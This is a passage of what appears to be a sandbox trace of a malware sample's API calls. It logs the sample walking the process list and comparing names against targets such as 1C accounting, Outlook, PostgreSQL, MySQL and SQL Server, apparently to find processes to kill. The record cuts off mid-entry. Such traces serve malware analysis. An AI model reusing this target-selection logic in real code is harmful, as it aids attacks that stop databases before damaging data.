-1 [0082.605] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0082.605] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0082.606] lstrlenW (lpString="csrss.exe") returned 9 [0082.606] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0082.606] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0082.606] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0082.606] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0082.606] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0082.606] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0082.606] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0082.606] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0082.606] lstrlenW (lpString="wininit.exe") returned 11 [0082.606] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0082.606] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0082.606] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0082.606] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0082.607] lstrlenW (lpString="csrss.exe") returned 9 [0082.607] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0082.607] lstrlenW (lpString="winlogon.exe") returned 12 [0082.607] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0082.607] lstrlenW (lpString="services.exe") returned 12 [0082.607] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0082.608] lstrlenW (lpString="lsass.exe") returned 9 [0082.608] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0082.608] lstrlenW (lpString="lsm.exe") returned 7 [0082.608] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.608] lstrlenW (lpString="svchost.exe") returned 11 [0082.608] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.609] lstrlenW (lpString="svchost.exe") returned 11 [0082.609] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.609] lstrlenW (lpString="svchost.exe") returned 11 [0082.609] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.609] lstrlenW (lpString="svchost.exe") returned 11 [0082.609] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.610] lstrlenW (lpString="svchost.exe") returned 11 [0082.610] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0082.610] lstrlenW (lpString="audiodg.exe") returned 11 [0082.610] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.610] lstrlenW (lpString="svchost.exe") returned 11 [0082.610] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.611] lstrlenW (lpString="svchost.exe") returned 11 [0082.611] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0082.611] lstrlenW (lpString="dwm.exe") returned 7 [0082.611] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0082.611] lstrlenW (lpString="explorer.exe") returned 12 [0082.611] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0082.612] lstrlenW (lpString="spoolsv.exe") returned 11 [0082.612] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.612] lstrlenW (lpString="svchost.exe") returned 11 [0082.612] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0082.612] lstrlenW (lpString="taskhost.exe") returned 12 [0082.612] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0082.613] lstrlenW (lpString="taskeng.exe") returned 11 [0082.613] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0082.613] lstrlenW (lpString="communist_nick.exe") returned 18 [0082.613] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0082.613] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0082.613] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0082.614] lstrlenW (lpString="prize.exe") returned 9 [0082.614] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0082.614] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0082.614] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0082.615] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0082.615] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0082.615] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0082.615] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0082.615] lstrlenW (lpString="prospects.exe") returned 13 [0082.615] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0082.616] lstrlenW (lpString="signalpackard.exe") returned 17 [0082.616] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0082.616] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0082.616] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0082.616] lstrlenW (lpString="release.exe") returned 11 [0082.616] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0082.617] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0082.617] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0082.617] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0082.617] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0082.617] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0082.617] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0082.618] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0082.618] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0082.618] lstrlenW (lpString="stickers_nations.exe") returned 20 [0082.618] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0082.618] lstrlenW (lpString="initiated-scary.exe") returned 19 [0082.618] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0082.619] lstrlenW (lpString="3dftp.exe") returned 9 [0082.619] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0082.619] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0082.619] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0082.619] lstrlenW (lpString="alftp.exe") returned 9 [0082.619] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0082.620] lstrlenW (lpString="barca.exe") returned 9 [0082.620] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0082.620] lstrlenW (lpString="bitkinex.exe") returned 12 [0082.620] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0082.620] lstrlenW (lpString="coreftp.exe") returned 11 [0082.620] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0082.621] lstrlenW (lpString="far.exe") returned 7 [0082.621] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0082.621] lstrlenW (lpString="filezilla.exe") returned 13 [0082.621] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0082.621] lstrlenW (lpString="flashfxp.exe") returned 12 [0082.621] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0082.622] lstrlenW (lpString="fling.exe") returned 9 [0082.622] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0082.622] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0082.622] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0082.622] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0082.622] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0082.623] lstrlenW (lpString="icq.exe") returned 7 [0082.623] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0082.623] lstrlenW (lpString="leechftp.exe") returned 12 [0082.623] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0082.623] lstrlenW (lpString="ncftp.exe") returned 9 [0082.623] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0082.624] lstrlenW (lpString="notepad.exe") returned 11 [0082.624] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0082.624] lstrlenW (lpString="operamail.exe") returned 13 [0082.624] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0082.624] lstrlenW (lpString="pidgin.exe") returned 10 [0082.624] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0082.625] lstrlenW (lpString="scriptftp.exe") returned 13 [0082.625] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0082.625] lstrlenW (lpString="skype.exe") returned 9 [0082.625] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0082.626] lstrlenW (lpString="smartftp.exe") returned 12 [0082.626] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0082.626] lstrlenW (lpString="thunderbird.exe") returned 15 [0082.626] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0082.627] lstrlenW (lpString="totalcmd.exe") returned 12 [0082.627] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0082.627] lstrlenW (lpString="trillian.exe") returned 12 [0082.627] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0082.627] lstrlenW (lpString="webdrive.exe") returned 12 [0082.628] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0082.628] lstrlenW (lpString="whatsapp.exe") returned 12 [0082.628] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0082.628] lstrlenW (lpString="winscp.exe") returned 10 [0082.628] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0082.629] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0082.629] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0082.629] lstrlenW (lpString="active-charge.exe") returned 17 [0082.629] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0082.630] lstrlenW (lpString="accupos.exe") returned 11 [0082.630] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0082.630] lstrlenW (lpString="afr38.exe") returned 9 [0082.630] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0082.630] lstrlenW (lpString="aldelo.exe") returned 10 [0082.631] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, 